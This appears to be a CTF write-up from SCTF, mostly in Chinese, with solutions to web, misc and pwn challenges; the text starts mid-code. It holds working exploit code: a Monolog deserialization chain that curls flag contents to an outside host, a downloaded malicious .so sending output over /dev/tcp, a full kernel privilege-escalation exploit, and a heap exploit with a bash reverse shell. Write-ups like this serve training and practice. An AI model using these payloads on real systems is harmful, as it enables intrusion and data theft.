$cmd = '$(printf "curl https://thegrandpewd\\x2epythonanywhere\\x2ecom/`cat /etc/*/flag`")';
$obj = new \Monolog\Handler\SyslogUdpHandler(
new \Monolog\Handler\BufferHandler(
['current', 'system'],
[$cmd, 'level' => null]
)
);
echo serialize([$obj]);
}
?>
### Rceme
diff
pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_signal, pcntl_signal_get_handler, pcntl_signal_dispatch, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_exec, pcntl_alarm, pcntl_get_last_error, pcntl_errno, pcntl_strerror, pcntl_getpriority, pcntl_setpriority, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_wifcontinued, pcntl_async_signals, pcntl_unshare, cli_set_process_title, cli_get_process_title, chroot, dl,
strlen, error_reporting, set_error_handler, create_function, preg_match, preg_replace phpinfo, strstr, escapeshellarg, getenv, putenv, call_user_func, unserialize, var_dump, highlight_file, show_source, ini_get , end,
简单看一下，知道是无参数 rce 抄一下脚本，改一下
def one(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:].upper()
return f"[~{ss}][!%FF]("
def makeSTR(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:].upper()
return f"[~{ss}][!%FF]"
"""
组成 system(next(getallheaders()));
a=whoami
"""
def make(xd):
a = xd.strip(")")
aa = a.split("(")
s = ""
for each in aa[:-1]:
s += one(each)
s += ")" * (len(aa) - 1)
return s
然后看一下 php
文档，[https://www.php.net/manual/en/functions.arguments.php#:~:text=Example%20%2310%20Using%20…%20to%20provide%20arguments](https://www.php.net/manual/en/functions.arguments.php#:~:text=Example%20#10%20Using%20...%20to%20provide%20arguments)
知道可以用 `...[1,2]` 来传多个参数，可以用 `create_function` 来执行任意 php
代码，还可以序列化传数组，用反序列化函数弄出来就行了。
接下来就是 iconv bypass df 了，抄一下 bytectf final 的，用 filter
绕函数就行。问题比较大就是怎么写文件，调了半天，最后用 `SplFileObject`
import craft
import requests
def arb(s):
return craft.makeSTR(s) + "." + craft.make("var_dump()")
url = "http://localhost:3333"
# payload = """a:2:{i:0;s:198:"){}$url = 'http://47.100.54.220/poc.so';$file = new SplFileObject($url, "r");$a = "";while(!$file->eof()) {$a = $a.$file->fgets();}$file=new SplFileObject('/tmp/payload.so','w');$file->fwrite($a);//";i:1;s:0:"";}"""
payload = """a:2:{i:0;s:208:"){}$url = 'http://47.100.54.220/gconv-modules';$file = new SplFileObject($url, "r");$a = "";while(!$file->eof()) {$a = $a.$file->fgets();}$file=new SplFileObject('/tmp/gconv-modules','w');$file->fwrite($a);//";i:1;s:0:"";}"""
code = craft.makeSTR('call_user_func') + '(' + craft.makeSTR("create_function")
code += "("
code += "..." + craft.makeSTR("unserialize") + "(" + arb(payload) + ")"
code += "));"
#code += craft.make("var_dump(end(getallheaders()))") + ";"
print(code)
<?php
$url = 'http://172.17.16.1/poc.so';
$file = new SplFileObject($url, "r");
$a = "";
while ( ! $file->eof()) {
$a = $a.$file->fgets();
}
$file=new SplFileObject('/tmp/p.so','w');
$file->fwrite($a);
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
puts("pwned");
system("bash -c '/readflag>/dev/tcp/ip/port'");
exit(0);
}
参考<https://xz.aliyun.com/t/8669#toc-5>
用原生类把so和modules上传到tmp然后用伪协议读一下触发：
putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");
### upload it 2
根据upload it 1 得知用sleep触发，还是一样用LazyString调一下sandbox的backdoor方法
<?php
namespace Symfony\Component\String{
class LazyString{
private $value;
public function __construct($value){
$this->value = $value;
}
}
}
namespace {
class sandbox {
private $evil;
public function __construct(){
$this->evil = "/flag";
}
}
use Symfony\Component\String\LazyString;
$value = [new sandbox,"backdoor"];
$lazy = new LazyString($value);
$part1 = urlencode('upload_path|s:45:"/tmp/sandbox/2b2f38818b2ac2cd6df0b9cd09e1ad88";|');
echo $part1.urlencode(serialize($lazy));
}
%75%70%6c%6f%61%64%5f%70%61%74%68%7c%73%3a%34%35%3a%22%2f%74%6d%70%2f%73%61%6e%64%62%6f%78%2f%32%62%32%66%33%38%38%31%38%62%32%61%63%32%63%64%36%64%66%30%62%39%63%64%30%39%65%31%61%64%38%38%22%3b%7c%4f%3a%33%35%3a%22%53%79%6d%66%6f%6e%79%5c%43%6f%6d%70%6f%6e%65%6e%74%5c%53%74%72%69%6e%67%5c%4c%61%7a%79%53%74%72%69%6e%67%22%3a%31%3a%7b%73%3a%34%32%3a%22%00%53%79%6d%66%6f%6e%79%5c%43%6f%6d%70%6f%6e%65%6e%74%5c%53%74%72%69%6e%67%5c%4c%61%7a%79%53%74%72%69%6e%67%00%76%61%6c%75%65%22%3b%61%3a%32%3a%7b%69%3a%30%3b%4f%3a%37%3a%22%73%61%6e%64%62%6f%78%22%3a%32%3a%7b%73%3a%31%33%3a%22%00%73%61%6e%64%62%6f%78%00%65%76%69%6c%22%3b%73%3a%35%3a%22%2f%66%6c%61%67%22%3b%73%3a%31%31%3a%22%75%70%6c%6f%61%64%5f%70%61%74%68%22%3b%4e%3b%7d%69%3a%31%3b%73%3a%38%3a%22%62%61%63%6b%64%6f%6f%72%22%3b%7d%7d
贴burp上decode一下post到tmp目录覆盖session
### GoFTP
根据题目描述和 hint 信息可以大概猜到预期通过 FTP 来做 SSRF（PASV 模式传文件时，客户端会建立一个新的连接到服务端指定端口）。具体的
HTTP 请求内容在比赛的时候是通过结合逆向和动态调试的方式，触发 binary /api/register 接口本地监听获得的。在通过 SSRF 注册
username 为 admin 的用户之后，可正常登录通过访问 /admin 获得 flag。
#!/usr/bin/env python3
from pwn import *
import time
context.log_level = 'debug'
l = listen(2121)
_ = l.wait_for_connection()
data = listen(9000)
l.sendline(b'220 Test FTP Server')
l.recvuntil(b'USER ')
l.sendline(b'331 Password required')
l.recvuntil(b'PASS')
l.sendline(b'230 User logged in')
l.recvuntil(b'TYPE')
l.sendline(b'200 Switching to Binary mode')
l.recvuntil(b'PASV')
time.sleep(5)
l.sendline(b'227 Entering Passive Mode (127,0,0,1,35,40)')
l.recvuntil(b'STOR')
l.sendline(b'150 Opening BINARY mode data connection for foo.txt')
#_ = data.wait_for_connection()
#data.recvall()
l.sendline(b'226 Transfer complete')
l.recvuntil(b'QUIT')
l.close()
PUT /api/user HTTP/1.1
Host: 127.0.0.1:9000
User-Agent: GRequests/0.10
Content-Length: 71
Content-Type: application/json
Accept-Encoding: gzip
{"email": "[email protected]", "username": "admin", "password": "ahDi3aid"}
## Misc
### This_is_A_tree
> 一颗圣诞树，还有好多礼物,flag需要SCTF{}噢 ,a beautiful tree,U need to know some Chinese
> traditional knowledge,flag need a “SCTF{your_flag}”
遍历bata+base64+中文转二进制转ascii
中序遍历后的字符串为：Q2hpbmVzZSB0cmFkaXRpb25hbCBjdWx0dXJlIGlzIGJyb2FkIGFuZCBwcm9mb3VuZCEgU28gSSBXYW50IEdpdmUgWW91IE15IEZsYWcgQnV0IFlvdSBOZWVkIERlY29kZSBJdC5FbmpveSBUaGUgRmxhZyEhOuW4iCDlhZEg5aSNIOaNnyDlt70g6ZyHIOaZiyDlp6Qg5aSn6L+HIOiuvCDlmazll5Eg6ZyHIOaBkiDoioIg6LGrIA==
base64后：
Chinese traditional culture is broad and profound! So I Want Give You My Flag
But You Need Decode It.Enjoy The Flag!!:师 兑 复 损 巽 震 晋 姤 大过 讼 噬嗑 震 恒 节 豫
[https://github.com/BjdsecCA/BJDCTF2020_January参考里面的伏羲六十四卦](https://github.com/BjdsecCA/BJDCTF2020_January%E5%8F%82%E8%80%83%E9%87%8C%E9%9D%A2%E7%9A%84%E4%BC%8F%E7%BE%B2%E5%85%AD%E5%8D%81%E5%9B%9B%E5%8D%A6)
然后中文转二进制：
010000110110100000110001011011100100000101011111011110010111100101100100011100110010000100
二进制转出ascii
Ch1nA_yyds!
### fumo_xor_cli
> nc 124.70.150.39 2333
>
> nc 123.60.107.154 2333
>
> FUMOFUMO FUMO FUMOFUMO?(flag中没有数字)
Fumo 中间夹着两段彩色的文字，其中一部分包含一个链接
<https://mp.weixin.qq.com/s/E_iDJBkVEC4jZanzvqnWCA>
里面有张图
<https://imgtu.com/i/TpMSkq>
按照题目名称的意思，提取这里面的每个像素点，和 cli 里面的那个进行异或
图片中一行100个 总共 13300 个色块
Shell 里拿 pwntools 接收 提取出来有 6650 个字符，正好2倍
图里这个顺序正好和shell里第二段五颜六色的字符颜色顺序一样，异或之后发现前6650位几乎完全一致，后面不一样
后面那一半和 cli 前面那部分彩色的颜色（aaaaa….）来异或
Exp:
# MiaoTony
# from pwn import *
# host = '124.70.150.39'
# port = 2333
# r = remote(host, port)
# s = r.recvall()
# print(s[:100])
# print(s[-100:])
# with open('data', 'wb') as f:
# f.write(s)
import re
from PIL import Image
img = Image.open('TpMSkq.png')
# img.show()
img.size
# (900, 1200)
# 纵向来提取
data = []
for i in range(1, img.size[0], 9):
for j in range(1, img.size[1]-9, 9):
r, g, b, a = img.getpixel((i, j))
print(r, g, b, a)
data.append((r, g, b))
# print(data)
print(len(data))
# 13300
with open('colors2', 'w', encoding='utf-8') as f:
f.write(str(data))
with open('data2.txt', 'rb') as f:
s = f.read()
with open('data1.txt', 'rb') as f:
s += f.read()
# print(s)
# s[:100]
l = re.findall(b'\x1b\[38;2;(\d+);(\d+);(\d+)m', s)
# print(l)
colors = [tuple(int(i) for i in j) for j in l]
print(len(colors))
# 6650
data_new = []
for i in range(len(colors)):
x = ()
for j in range(3):
tmp = data[i][j] ^ colors[i][j]
x += (tmp,)
print(x)
data_new.append(x)
with open('data_xor.txt', 'w') as f:
f.write(str(data_new))
img1 = Image.new('RGB', (133, 100), (255, 255, 255))
img1.putdata(data_new)
img1.save('out.png')
img1.show()
翻转旋转一下得到 flag
SCTF{Good_FuMo_CTF_OvO}
### in_the_vaporwaves
> something in the vaporwaves(题目flag格式为 SCTF(. _) 请自行加上花括号为 SCTF{._ } 提交)
>
> 附件链接：<https://pan.baidu.com/s/1W9RISgb8O7WxX_P09IiEpA>
>
> 提取码：sctf
修改频谱大一点 mose解密
### easydsp
题目附件包含 4 个数据文件，每个数据文件为 126000 个浮点数。参考题目描述，将数据文件按照音频文件理解，转换为 wav
（适当压缩幅度），可以听到四段音乐混合不同类型的杂音。考虑到样本点幅度超过了 -1 ~ 1
的范围，猜测出题人可能将两段音频文件直接加在了一起，因此尝试了一下计算 data1 – data2 的结果，画图如下
可以从差值中看出采用了类似 BPSK 调制方式进行编码，周期为 1000 个采样点。完整的文件可以编码 126 bit 内容。126 不是 8 的倍数，是
7 的倍数，猜测有可能是使用 7bit 编码一个字符的方式。一些尝试后可还原出 flag 的内容。
data = []
for i in range(1, 5):
data.append(np.array(list(map(float, open(f'data{i}.txt').read().strip().splitlines()))))
diff = data[0] - data[1]
def get_bit(x):
return 1 if np.sum(x[200:300]) / 100 > 0 else 0
bits = [get_bit(diff[d:d + 1000]) for d in range(0, 126000, 1000)]
print(bits)
t = 0
flag = []
for i in range(0, len(bits)):
t = (t << 1) + bits[i]
if i % 7 == 6:
flag.append(chr(t))
t = 0
print(repr(''.join(flag)))
### easyiot
题目给了一个用户程序、一个加密后的文件和一个内核模块。用户程序把一个文本文件（device_tree.txt）逐字符 RSA
加密输出。由于加密方式是一一映射，可以通过加密后结果出现的频率与字符出现频率对照大大缩小爆破的空间，此处可通过爆破的方式得到 RSA 的参数 (n =
391, d = 305)，不过这个参数实际上在内核模块中也有，不需要爆破。。得到参数后解密 device_tree.txt 内容如下
> Congratulations on helping B find the device tree plug-in,Here are some
> tips, Embedded Engineer A, wants to send a message requesting a connection
> to the server using an IoT device Distribute up to once, and the server
> clears the session after it receives it, and the server kicks the device off
> after more than 2 minutes of idleness.This message appears on the screen of
> the IoT device (read as normal) Can you get the data that A enters into the
> IoT device? (Remember to put “sctf{}” on it)
逆向内核模块逻辑可得 user password 内容为 `chengdu106520013` （AES 解密），以及一个比较正常的 LED
显示输出的逻辑（可以从
<https://github.com/Embedfire/embed_linux_tutorial/tree/master/base_code/linux_driver/ecSPI_OLED>
找到修改前的源码）。
仅通过 device_tree.txt 的内容没有脑洞出来这些和 flag 的关系是怎样的。。。在看到 hint 给出的 message 之后，可以看到
MQTT 相关的信息，猜测可能是想把 MQTT 报文内容作为 flag 提交。在一番与出题人确认信息后（比如相比标准协议少掉一个字节是什么情况），又注意到
LED 输出的部分排序方式与正常不太一样，驱动中实现的是逐列输出，如果想“正常读出”的话需要做转置。多次尝试后终于拼出了正确的 flag。
from pwn import *
import binascii
context.endian = 'big'
client_id = b"21"
user = b'A'
password = b'chengdu106520013'
datalen = 10 + len(client_id) + 2 + len(user) + 2 + len(password) + 2 - 1
buf = b"\x10" + bytes([datalen, 4]) + b'MQTT' + b"\x04" + b"\xc2\x00\x50" + p16(len(client_id)) + client_id + p16(len(user)) + user + p16(len(password)) + password
pkt = binascii.hexlify(buf).upper().decode()
reorder = ''
for j in range(0, 12):
for i in range(0, len(pkt), 12):
reorder += pkt[i + j]
flag = 'sctf{' + reorder + '}'
print(flag)
## Pwn
### dataleak
CVE-2019-11834 直接泄露即可
from pwn import *
# sh = process('./cJSON_PWN')
sh= remote('124.70.202.226',2101)
# gdb.attach(sh,'b * $rebase(0x120d)')
payload = "/*".rjust(0xe,'b')
# payload = payload.ljust(0xe,'a')
sh.send(payload)
sh.send("aaaa/*".ljust(0xe,'a'))
payload = "b" * (0xb-6) +"/*"
payload = payload.ljust(0xe,'a')
sh.send(payload)
sh.send("/*".ljust(0xe,'a'))
sh.interactive()
### flyingkernel
This was the only kernel challenge for SCTF this year.
The vulnerable device driver was /dev/seven.
They were multiple vulnerabilities that when combined can lead to LPE.
You can allocate a chunk of size 0x80 using the command `0x5555` in ioctl.
Using the command `0x6666` you can get that chunk freed but not nulled (UAF).
The last ioclt command was `0x7777` we can use this to get format string
attack and bypass KASLR.
And the most important thing is that SMAP is disabled, which means if we can
get our leaks using
the format string attack and then get RIP, we can pivot our stack and just ROP
; commit_creds(prepare_kernel_cred(0)) and swapgs iretq.
So now we have UAF on a chunk with size 0x80, which means it will get the
chunk from kmalloc-128
The problem is that there are not much structs we can target for this specific
slab.
But good for use there is `struct subprocess_info` which can give RIP control.
struct subprocess_info {
struct work_struct work;
struct completion *complete;
const char *path;
char **argv;
char **envp;
int wait;
int retval;
int (*init)(struct subprocess_info *info, struct cred *new);
void (*cleanup)(struct subprocess_info *info);
void *data;
} __randomize_layout;
if we can control `cleanup` we can control rip (but we have to be quick, this
struct is allocated and it uses cleanup quickly).
You can allocate this struct just using this line of code : socket(22,
AF_INET, 0); it’s okey if it fails and return -1 it will still be allocated.
So the plan is this:
* Take advantage of the format string vuln to get leaks (don’t use %p they are detected by the kernel as information leak and it will show up as **_ptr_** and not the actual value in my exploit I provided %lld) and now we have the kernel base.
* Free that chunk and execute that socket() to get advantage of the UAF and overwrite cleanup with a gadget, in my case it was
0xffffffff816e19bc: mov esp,0x83000000
0xffffffff816e19c1: ret
* I mentioned that we should be quick to overwrite that (so that our gadget gets executed and not the actual cleanup value). userfault_fd was not available to make the race reliable. What I did was I spawned a thread which write to /dev/seven in infinite loop, and hope for cleanup to be overwritten before use.
* mmap that region of memory and put our ROP there, elevate our privs and execute shell.
The complete exploit:
#include <stdio.h>
#include <fcntl.h>
#include <assert.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/socket.h>
#include <pthread.h>
#include <stdlib.h>
#include <sys/mman.h>
int fd;
// We can launch ioctl / read / write for this device driver.
// For ioctl command we have:
// 0x6666 for UAF
// 0x7777 for Fmt string vuln
// 0x5555 alloc of size 0x80
#define ALLOC 0x5555
#define UAF 0x6666
#define GET 0x7777
struct trap_frame{
char* rip;
unsigned long cs;
unsigned long rflags;
char* rsp;
unsigned long ss;
}__attribute__((packed));
struct trap_frame tf;
void save_state(void){
asm volatile( "mov tf+8, cs;"
"pushf;"
"pop tf+16;"
"mov tf+24, rsp;"
"mov tf+32, ss;"
);
}
void open_target(void)
{
fd = open("/dev/seven", O_RDWR);
assert(fd > 0);
}
int lock;
void *memset_buf(void *tmp)
{
unsigned long buf[4];
for(int i = 0; i < 4; i++){
buf[i] = (unsigned long)tmp;
}
/*
char buf[0x81];
memset(buf, 'M', 0x80);
*/
lock = 1;
while(1)
{
write(fd, buf, 0x20);
}
return tmp;
}
void shell(void){
char* argv[] = {"/bin/sh", NULL};
execve(argv[0], argv, NULL);
}
void setup_chunk_rop(unsigned long kernel_base)
{
unsigned long *rop;
int i = (0x1000000/2)/8;
unsigned long commit_creds = kernel_base + (0xffffffff8108c360 - 0xffffffff81000000);
unsigned long prepare_kernel_cred = kernel_base + (0xffffffff8108c780 - 0xffffffff81000000);
unsigned long pop_rdi = kernel_base + 0x16e9;
unsigned long mov_rdi_rax = kernel_base + (0xffffffff813d7369 - 0xffffffff81000000);
unsigned long mov_rdi_rax_rep = kernel_base + (0xffffffff81aed04b - 0xffffffff81000000);
unsigned long pop_rcx = kernel_base + (0xffffffff8101ed83 - 0xffffffff81000000);
unsigned long mov_cr3_rdi = kernel_base + (0xffffffff8105734a -0xffffffff81000000); //: mov cr3, rdi ; ret
unsigned long or_rax_rdx = kernel_base + (0xffffffff81018d2c -0xffffffff81000000); //: or rax, rdx ; ret
unsigned long pop_rdx = kernel_base + (0xffffffff8104abb7-0xffffffff81000000); // pop rdx; ret
unsigned long pop_rax = kernel_base + (0xffffffff8100ec67-0xffffffff81000000); // pop rax; ret
unsigned long mov_rax_cr3 = kernel_base + (0xffffffff81057fab-0xffffffff81000000); //: mov rax, cr3 ; mov cr3, rax ; ret
unsigned long mov_cr3_rax = kernel_base + (0xffffffff81057fae - 0xffffffff81000000);//: mov cr3, rax ; ret
unsigned long swapgs = kernel_base + (0xffffffff81c00f58 - 0xffffffff81000000);
unsigned long iretq = kernel_base + (0xffffffff81024f92 - 0xffffffff81000000);
unsigned long swapgs_restore = kernel_base + (0xffffffff81c00e26 - 0xffffffff81000000);
/*
0xffffffff816e19bc: mov esp,0x83000000
0xffffffff816e19c1: ret
*/
unsigned long pivot = kernel_base + 0x6e19bc;
rop = mmap(0x83000000-(0x1000000/2), 0x1000000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
for (int i = 0; i < 0x4 + (0x1000000/2)/8;)
rop[i++] = 0xffffffff816e19bc;
//rop[i++] = mov_rax_cr3;
//rop[i++] = pop_rdx;
//rop[i++] = 0x1000;
//rop[i++] = or_rax_rdx;
//rop[i++] = mov_cr3_rax;
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rcx;
rop[i++] = 0;
rop[i++] = mov_rdi_rax_rep;
rop[i++] = commit_creds;
rop[i++] = swapgs_restore;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = shell;
rop[i++] = tf.cs;
rop[i++] = tf.rflags;
rop[i++] = tf.rsp;
rop[i++] = tf.ss;
rop[i++] = kernel_base +( 0xffffffff816e19bc - 0xffffffff81000000);
printf("ROP fake stack %p\n", rop);
}
// When testing when being already root.
unsigned long get_text_base(void)
{
char b[0x10000];
char *p;
int ret;
unsigned long leak;
int kmsg = open("/dev/kmsg", O_RDONLY);
assert(kmsg > 0);
ret = read(kmsg, b, 0x10000);
assert(ret > 0);
p = strchr(b, 0xff);
leak = strtoul(p+1, NULL, 10);
leak -= 0x1f3ecd;
return leak;
}
int main(int argc, char *argv[])
{
char buf[0x81];
int ret;
unsigned long kernel_base;
save_state();
// open the target device driver.
open_target();
ret = ioctl(fd, ALLOC, 0x80);
assert(ret == 0);
//memset(buf, 'M', 0x80);
strcpy(buf, "data : %lld %lld %lld %lld %lld \xff%lld %lld %lld %lld %lld %lld %lld %lld %lld %lld %lld %lld\n");
ret = write(fd, buf, 0x80);
assert(ret > 0);
// Trying to printk that data we wrote.
ret = ioctl(fd, GET, 0);
assert(ret == 0);
// trying to have the text base!
if (argc == 1)
exit(1);
else
kernel_base = strtoul(argv[1], NULL, 16) - 0x1f3ecd;
//kernel_base = get_text_base();
printf("Kernel base %lx\n", kernel_base);
setup_chunk_rop(kernel_base);
getchar();
// trying to fill that freed chunk with struct subprocess_info
// Trying to bruteforce it.
//sleep(0.1);
// Trying to free our chunk for UAD
ret = ioctl(fd, UAF, 0);
assert(ret == 0);
pthread_t tid;
pthread_create(&tid, NULL, memset_buf, kernel_base + 0x6e19bc);
sleep(0.3);
for(int i = 0; i < 0x1; i++)
ret = socket(22, AF_INET, 0);
//write(fd, buf, 0x20);
sleep(0.3);
lock = 0;
//printf("socket returned %d\n", ret);
getchar();
}
### Christmas Wishes
漏洞点在parser_string中没有考虑转义\”的情况 导致堆溢出
字符串中不能写\x00的问题用\u0000绕过 同理可以用hex_parse写任何不可见字符
控制tcache fd为free_hook后用setcontext rop反弹shell出来即可执行gift
远程可先使用readflag读”/proc/self/maps” 泄露libc地址
from pwn import *
def create_php(buf):
with open("pwn.php", 'wb+') as pf:
pf.write(b'''<?php
$data = jsonparser("%s");
readfile($data);
?>'''%buf)
def create_php2(buf):
with open("pwnjson", 'wb+') as pf:
pf.write(b'''%s'''%buf)
context.arch = 'amd64'
def pp64(num):
payload = rb""
for i in range(4):
payload += rb"\\u"
tmp = bytes(hex((((num & 0xff) << 8) + ((num >> 8) & 0xff)) & 0xffff)[2:],encoding='utf8').rjust(4,b'0')
payload += tmp
num = num >> 16
return payload
# print(pp64(0x1234))
# pp64 = lambda x : p64(x)[:6] + rb"\\u0000"
libc = ELF('./libc-2.31.so')
# libc_base = 0x7ffff7474000
libc_base = 0x7faea6b33000
rdx_gadget = libc_base + 0x000000000012c050
rdi_ret = libc_base + 0x0000000000026796
ret = 0x000000000002535f + libc_base
rsi_ret = 0x000000000002890f + libc_base
rdx_ret = 0x00000000000cb1cd + libc_base
# 0x555556606000
# heap_base = 0x555556606000 + 0x1E1600
heap_base = 0x56400792d000+ 0x1E1600
free_hook = libc_base + libc.symbols["__free_hook"]
shell_addr = libc_base + libc.symbols["__free_hook"]+ 0x140
frame = SigreturnFrame()
frame.rip = ret
frame.rsp = heap_base + 0x640 + 0x100
print(unpack_many(bytes(frame)))
payload = rb'''
{
\"bb\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",
\"aa\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",
\"cc\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",
\"dd\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",
\"ee\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",
\"ff\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",
\"gg\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",
\"ff\":\"aaaaaa\",
\"ee\":\"aaaaaa\",
\"dd\":\"aaaaaa\",
\"zz\":\"zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz\\\"'''
payload += rb"b" * 6 + pp64(0x51) + pp64(0) * 9
# payload += pp64(0x31) + pp64(0) * 3
payload += pp64(0x31) + pp64(free_hook - 0x30)
# payload += b'b' * (0x80-2)
# payload += p64(0x7ffff7635e70)[:6]
# payload += rb"\\u0000"
# payload += p64(0x7ffff7635e70)[:6]
# payload += rb"\\u0000"
# payload += p64(0x7ffff7635e70)[:6]
# payload += rb"\\u0000"
payload += rb'\",'
payload +=rb'''
\"address\":\"'''
payload += rb'a' *0x20 + rb'\",'
payload +=rb'''
\"rop\":\"'''
rop = pp64(rdi_ret) + pp64(shell_addr) + pp64(rsi_ret) + pp64(0) + pp64(rdx_ret) + pp64(0)+ pp64(libc_base+libc.symbols['system'])
payload += pp64(0) + pp64(heap_base + 0x640 + 0x10 - 0xC0 + 0x10) + pp64(0) * 2 +pp64(0)*2 + pp64(libc.symbols['setcontext'] + 53 + libc_base )
payload += pp64(0) * 15 + pp64(heap_base + 0x640 + 0x108 - 0xc0 + 0x10) + pp64(ret) + pp64(0) + pp64(0x51) + pp64(0) * 7
# payload += rop + rb'/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"'.replace(b' ',rb'\\u2020').replace(b"\"",rb'\\u2022')
payload += rop + rb'/bin/touch /ctf/work/asddd'.replace(b' ',rb'\\u2020').replace(b"\"",rb'\\u2022')
payload += rb'\",'
payload +=rb'''
\"rops\":\"'''
payload += rb'a'*0x8 + pp64(free_hook + 0x10) +rb"\\\"" + rb"a"*(6+8 + 8) +rb'a' * 8+ pp64(rdx_gadget) + pp64(libc.symbols['__free_hook'] + libc_base + 0x10) + pp64(0) * 2 +pp64(0)*2 + pp64(libc.symbols['setcontext'] + 53 + libc_base )
# payload += bytes(frame)[0x28:].replace(b'\x00\x00',rb'\\u0000')
payload += pp64(0) * 15 + pp64(libc_base + 0x1C1E70 + 0x108) + pp64(ret) + pp64(0) + pp64(0x51) + pp64(0) * 7
payload += rop + rb'/bin/bash -c "/bin/bash -i >&/dev/tcp/xxx.xx.xx.xx/9090 0>&1"'.replace(b' ',rb'\\u2020').replace(b"\"",rb'\\u2022')
payload += rb'\",'
payload +=rb'''
\"rops\":\"'''
payload += rb'a' *0x20 + rb'\",'
payload += rb'''
}
'''
# create_php(payload.replace(rb'\"',rb'"'))
create_php(payload)
create_php2(payload.replace(rb'\"',rb'"'))
然后将`pwnjson`里面的’\‘替换成’\’ 复制到文本框中点击发送即可
web服务堆环境很乱 需要多次爆破尝试.
pwnjson如下:
{
"bb":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"aa":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"cc":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"dd":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"ee":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"ff":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"gg":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"ff":"aaaaaa",
"ee":"aaaaaa",
"dd":"aaaaaa",
"zz":"zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz\"bbbbbb\u5100\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u3100\u0000\u0000\u0000\u404e\ucfa6\uae7f\u0000",
"address":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"rop":"\u0000\u0000\u0000\u0000\ua0eb\ub007\u4056\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u25e7\ub7a6\uae7f\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u98ec\ub007\u4056\u0000\u5f83\ub5a6\uae7f\u0000\u0000\u0000\u0000\u0000\u5100\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u9697\ub5a6\uae7f\u0000\ub04f\ucfa6\uae7f\u0000\u0fb9\ub5a6\uae7f\u0000\u0000\u0000\u0000\u0000\ucde1\ubfa6\uae7f\u0000\u0000\u0000\u0000\u0000\u50be\ub7a6\uae7f\u0000/bin/touch\u2020/ctf/work/asddd",
"rops":"aaaaaaaa\u804e\ucfa6\uae7f\u0000\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\u50f0\uc5a6\uae7f\u0000\u804e\ucfa6\uae7f\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u25e7\ub7a6\uae7f\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u784f\ucfa6\uae7f\u0000\u5f83\ub5a6\uae7f\u0000\u0000\u0000\u0000\u0000\u5100\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u9697\ub5a6\uae7f\u0000\ub04f\ucfa6\uae7f\u0000\u0fb9\ub5a6\uae7f\u0000\u0000\u0000\u0000\u0000\ucde1\ubfa6\uae7f\u0000\u0000\u0000\u0000\u000